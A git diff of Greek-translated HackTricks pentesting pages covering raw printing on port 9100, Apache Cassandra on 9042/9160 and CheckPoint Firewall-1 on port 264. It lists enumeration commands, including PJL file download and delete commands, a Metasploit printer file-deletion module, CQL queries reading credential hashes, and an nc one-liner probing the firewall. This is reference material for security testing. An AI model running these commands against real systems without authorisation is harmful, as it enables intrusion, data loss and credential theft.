* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Από [εδώ](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης στη θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνήσουν με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως "η απλούστερη, γρηγορότερη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές". Η ακατέργαστη εκτύπωση στη θύρα 9100, επίσης αναφέρεται ως JetDirect, AppSocket ή PDL-datastream, **δεν είναι πρωτόκολλο εκτύπωσης από μόνο του**. Αντ' αυτού, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται απευθείας από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, το IPP και το SMB, αυτό μπορεί να στείλει άμεσα ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένας τέτοιος **διπλής κατεύθυνσης κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των εντολών **PJL**, **PostScript** ή **PCL**. Επομένως, η ακατέργαστη εκτύπωση στη θύρα 9100 - η οποία υποστηρίζεται από σχεδόν κάθε δικτυακό εκτυπωτή - χρησιμοποιείται ως κανάλι για ανάλυση ασφάλειας με το PRET και το PFT.
Από [εδώ](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Η ακατέργαστη εκτύπωση είναι αυτό που ορίζουμε ως τη διαδικασία σύνδεσης στην θύρα 9100/tcp ενός δικτυακού εκτυπωτή. Είναι η προεπιλεγμένη μέθοδος που χρησιμοποιείται από το CUPS και την αρχιτεκτονική εκτύπωσης των Windows για να επικοινωνεί με τους δικτυακούς εκτυπωτές, καθώς θεωρείται ως _η πιο απλή, γρήγορη και γενικά η πιο αξιόπιστη δικτυακή πρωτόκολλο που χρησιμοποιείται για εκτυπωτές_. Η ακατέργαστη εκτύπωση στην θύρα 9100, που αναφέρεται επίσης ως JetDirect, AppSocket ή PDL-datastream, στην πραγματικότητα **δεν είναι ένα πρωτόκολλο εκτύπωσης από μόνο του**. Αντίθετα, **όλα τα δεδομένα που αποστέλλονται επεξεργάζονται άμεσα από τη συσκευή εκτύπωσης**, όπως μια παράλληλη σύνδεση μέσω TCP. Σε αντίθεση με το LPD, IPP και SMB, αυτό μπορεί να στείλει άμεση ανατροφοδότηση στον πελάτη, συμπεριλαμβανομένων μηνυμάτων κατάστασης και σφαλμάτων. Ένα τέτοιο **αμφίδρομο κανάλι** μας δίνει άμεση **πρόσβαση** στα **αποτελέσματα** των **PJL**, **PostScript** ή **PCL** εντολών. Επομένως, η ακατέργαστη εκτύπωση στην θύρα 9100 που υποστηρίζεται από σχεδόν οποιονδήποτε δικτυακό εκτυπωτή χρησιμοποιείται ως το κανάλι για την ανάλυση ασφάλειας με το PRET και το PFT.
Εάν θέλετε να μάθετε περισσότερα για το [**χάκινγκ εκτυπωτών διαβάστε αυτήν τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page).
Αν θέλετε να μάθετε περισσότερα για [**την εκτύπωση hacking διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page).
**Προεπιλεγμένη θύρα:** 9100
**Default port:** 9100
```
9100/tcp open jetdirect
```
# Απαρίθμηση
# Αριθμητική
## Χειροκίνητη
```bash
@ -42,13 +43,7 @@ nc -vn <IP> 9100
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
```
## Αυτόματο
Η αυτόματη λειτουργία είναι μια δυνατότητα που παρέχεται από ορισμένες συσκευές και υπηρεσίες για να εκτελούν εργασίες χωρίς την ανάμειξη του χρήστη. Αυτό μπορεί να είναι χρήσιμο για την αυτόματη εκτέλεση εργασιών που απαιτούνται σε τακτά διαστήματα ή για την αυτόματη αντίδραση σε συγκεκριμένες συνθήκες.
Στον τομέα του χάκινγκ, η αυτόματη λειτουργία μπορεί να χρησιμοποιηθεί για την εκτέλεση επιθέσεων χωρίς την παρέμβαση του χρήστη. Αυτό μπορεί να γίνει με τη χρήση ειδικών εργαλείων και σεναρίων που εκτελούν αυτόματα επιθέσεις σε ευπάθειες συστημάτων ή υπηρεσιών. Η αυτόματη λειτουργία μπορεί να επιτρέψει στον χάκερ να εκτελέσει επιθέσεις μεγάλης κλίμακας και να εξαπλώσει τον κακόβουλο κώδικα σε πολλά συστήματα ταυτόχρονα.
Είναι σημαντικό να σημειωθεί ότι η αυτόματη λειτουργία μπορεί να είναι παράνομη και αντιαιθητική, καθώς παραβιάζει την ιδιωτικότητα και την ασφάλεια των συστημάτων. Οι επαγγελματίες χάκερ πρέπει να τηρούν τους νόμους και τους κανόνες της ηθικής κατά τη χρήση της αυτόματης λειτουργίας για χάκινγκ.
## Αυτόματη
```bash
nmap -sV --script pjl-ready-message -p <PORT> <IP>
```
@ -65,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
```
## Εργαλείο Χάκινγκ Εκτυπωτών
Αυτό είναι το εργαλείο που θέλετε να χρησιμοποιήσετε για να καταχραστείτε εκτυπωτές:
Αυτό είναι το εργαλείο που θέλετε να χρησιμοποιήσετε για να εκμεταλλευτείτε τους εκτυπωτές:
{% embed url="https://github.com/RUB-NDS/PRET" %}
@ -74,16 +69,17 @@ msf> use auxiliary/scanner/printer/printer_delete_file
* `pjl port:9100`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 9042/9160 - Πεντεστινγκ Cassandra
# 9042/9160 - Pentesting Cassandra
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **Apache Cassandra** είναι μια **υψηλής κλίμακας**, **υψηλής απόδοσης** κατανεμημένη βάση δεδομένων σχεδιασμένη για να χειρίζεται **μεγάλες ποσότητες δεδομένων** σε πολλούς **εξυπηρετητές κοινής χρήσης**, παρέχοντας **υψηλή διαθεσιμότητα** χωρίς **ένα μοναδικό σημείο αποτυχίας**. Είναι ένας τύπος **NoSQL βάσης δεδομένων**.
**Apache Cassandra** είναι μια **υψηλά κλιμακούμενη**, **υψηλής απόδοσης** κατανεμημένη βάση δεδομένων σχεδιασμένη να διαχειρίζεται **μεγάλες ποσότητες δεδομένων** σε πολλούς **κοινών διακομιστές**, παρέχοντας **υψηλή διαθεσιμότητα** χωρίς **ενιαίο σημείο αποτυχίας**. Είναι μια μορφή **βάσης δεδομένων NoSQL**.
Σε αρκετές περιπτώσεις, μπορεί να συμβεί ότι η Cassandra αποδέχεται **οποιαδήποτε διαπιστευτήρια** (καθώς δεν έχουν διαμορφωθεί καμία) και αυτό θα μπορούσε θεωρητικά να επιτρέψει σε έναν επιτιθέμενο να **απαριθμήσει** τη βάση δεδομένων.
Σε πολλές περιπτώσεις, μπορεί να διαπιστώσετε ότι η Cassandra δέχεται **οποιεσδήποτε διαπιστευτήρια** (καθώς δεν υπάρχουν ρυθμισμένα) και αυτό θα μπορούσε ενδεχομένως να επιτρέψει σε έναν επιτιθέμενο να **καταμετρήσει** τη βάση δεδομένων.
**Προεπιλεγμένη θύρα:** 9042,9160
```
@ -26,7 +27,7 @@ PORT STATE SERVICE REASON
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
9160/tcp open cassandra syn-ack
```
## Απαρίθμηση
## Enumeration
### Χειροκίνητη
```bash
@ -43,29 +44,30 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
SELECT * from logdb.user;
SELECT * from configuration."config";
```
### Αυτοματοποιημένο
### Automated
Δεν υπάρχουν πολλές επιλογές εδώ και το nmap δεν αποκτά πολλές πληροφορίες.
Δεν υπάρχουν πολλές επιλογές εδώ και το nmap δεν αποκτά πολλές πληροφορίες
```bash
nmap -sV --script cassandra-info -p <PORT> <IP>
```
### [**Βίαιη επίθεση**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### **Shodan**
`port:9160 Cluster`\
`port:9042 "Μη έγκυρη ή μη υποστηριζόμενη έκδοση πρωτοκόλλου"`
`port:9042 "Invalid or unsupported protocol version"`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Είναι δυνατή η αλληλεπίδραση με τους τείχη προστασίας **CheckPoint Firewall-1** για την ανακάλυψη πολύτιμων πληροφοριών, όπως το όνομα του τείχους προστασίας και το όνομα του σταθμού διαχείρισης. Αυτό μπορεί να γίνει αποστέλλοντας ένα ερώτημα στη θύρα **264/TCP**.
Είναι δυνατόν να αλληλεπιδράσετε με τα **CheckPoint** **Firewall-1** τείχη προστασίας για να ανακαλύψετε πολύτιμες πληροφορίες όπως το όνομα του τείχους προστασίας και το όνομα του σταθμού διαχείρισης. Αυτό μπορεί να γίνει στέλνοντας ένα ερώτημα στην θύρα **264/TCP**.
### Απόκτηση Ονομάτων Τείχους Προστασίας και Σταθμού Διαχείρισης
Χρησιμοποιώντας ένα αίτημα προεξουσιοδότησης, μπορείτε να εκτελέσετε ένα ενότητα που στοχεύει το **CheckPoint Firewall-1**. Τα απαραίτητα περιεχόμενα για αυτήν τη λειτουργία παρουσιάζονται παρακάτω:
Χρησιμοποιώντας ένα αίτημα προ-authentication, μπορείτε να εκτελέσετε ένα module που στοχεύει το **CheckPoint Firewall-1**. Οι απαραίτητες εντολές για αυτή τη λειτουργία παρατίθενται παρακάτω:
```bash
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10
```
Κατά την εκτέλεση, το αρθρωτό πρόσθετο προσπαθεί να επικοινωνήσει με την υπηρεσία SecuRemote Topology του τείχους προστασίας. Εάν επιτύχει, επιβεβαιώνει την παρουσία ενός τείχους προστασίας CheckPoint και ανακτά τα ονόματα τόσο του τείχους προστασίας όσο και του κεντρικού διακομιστή SmartCenter. Παρακάτω παρουσιάζεται ένα παράδειγμα του τι μπορεί να φαίνεται η έξοδος:
Κατά την εκτέλεση, το module προσπαθεί να επικοινωνήσει με την υπηρεσία SecuRemote Topology του firewall. Εάν είναι επιτυχές, επιβεβαιώνει την παρουσία ενός CheckPoint Firewall και ανακτά τα ονόματα τόσο του firewall όσο και του διαχειριστικού host SmartCenter. Ακολουθεί ένα παράδειγμα του πώς μπορεί να φαίνεται η έξοδος:
```text
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
@ -30,13 +31,13 @@ set RHOST 10.10.10.10
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed
```
### Εναλλακτική μέθοδος για την ανακάλυψη του ονόματος του υπολογιστή και του ονόματος ICA
### Εναλλακτική Μέθοδος για την Ανακάλυψη Ονόματος Υπολογιστή και ICA Name
Μια άλλη τεχνική περιλαμβάνει ένα απευθείας πρόγραμμα εντολών που στέλνει ένα συγκεκριμένο αίτημα στο τείχος προστασίας και αναλύει την απόκριση για να εξάγει το όνομα του υπολογιστή και το όνομα ICA του τείχους προστασίας. Η εντολή και η δομή της είναι οι εξής:
Μια άλλη τεχνική περιλαμβάνει μια άμεση εντολή που στέλνει ένα συγκεκριμένο ερώτημα στο firewall και αναλύει την απάντηση για να εξαγάγει το όνομα υπολογιστή του firewall και το ICA name. Η εντολή και η δομή της είναι οι εξής:
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
```
Το αποτέλεσμα από αυτή την εντολή παρέχει λεπτομερείς πληροφορίες σχετικά με το όνομα πιστοποιητικού (CN) και τον οργανισμό (O) του τείχους προστασίας, όπως φαίνεται παρακάτω:
Η έξοδος από αυτή την εντολή παρέχει λεπτομερείς πληροφορίες σχετικά με το όνομα του πιστοποιητικού του τείχους προστασίας (CN) και την οργάνωση (O), όπως φαίνεται παρακάτω:
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Internet Printing Protocol \(IPP\)
